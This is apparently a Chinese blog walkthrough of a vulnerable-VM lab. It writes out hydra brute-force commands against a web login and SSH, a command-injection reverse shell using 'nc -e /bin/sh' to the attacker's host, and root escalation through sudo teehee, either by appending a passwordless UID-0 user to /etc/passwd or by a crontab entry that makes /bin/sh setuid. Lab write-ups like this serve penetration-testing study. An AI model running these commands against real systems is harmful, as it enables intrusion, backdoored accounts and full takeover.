环境配置
开始之前让我们先来看看靶机与攻击机的配置,两者均是NAT模式
kali ip:192.168.13.128
靶机复现
nmap扫描网段,发现靶机IP192.168.13.134
使用namp扫描端口开放情况
开放了80和22端口
访问80端口
说用admin登录,而且看出没有验证码限制
爆破一下
hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.13.134 http-post-form "/login.php:username=^USER^&password=^PASS^:S=logout" -F
成功爆破出密码为happy
得到了密码happy,登录之后可以看到能够执行ls -l, du -h,df -h这三个命令,可以看出可能存在命令注入漏洞。
使用burp抓包,修改radio参数里面的内容,反弹shell
nc -e /bin/sh 192.168.13.128 4444
使用python获取交互模式
python -c 'import pty;pty.spawn("/bin/bash")'
复制下来进行爆破
hydra -l jim -P old-pass.txt -t 6 ssh://192.168.13.134
得到用户 jim 密码 jibril04,SSH登陆
ssh jim@192.168.13.134
在/var/mail/下得到charles的密码 ^xHhA&hvim0y
切换为charles
sudo -l
查看权限,发现可以不需要密码执行teehee(root权限),teehee可以来向其他文件写入内容
现在提权有两种思路
1.添加一个 test 用户,并使用teehee执行直接写入 passwd中(设置uid和gid都为0,那么这个用户就相当于root)
#如:admin:x:0:0::/home/admin:/bin/bash
#[用户名]:[密码]:[UID]:[GID]:[身份描述]:[主目录]:[登录shell]
echo "test::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
可以看到成功写入
切换test用户
获取root权限
2.通过定时任务执行脚本提权,向/etc/crontab文件中写入新的定时任务
通过teehee的sudo提升权限以 root身份写入crontab计划任务通过执行获取root权限
echo "* * * * * root chmod 4777 /bin/sh" | sudo teehee -a /etc/crontab
时间部分全部填写为*,默认这个定时任务每分钟执行一次。
通过执行的脚本将 /bin/sh 的权限修改为4777,这样就可以在非root用户下执行它,并且执行期间拥有root权限。
启一个终端
获取Root权限
还不快抢沙发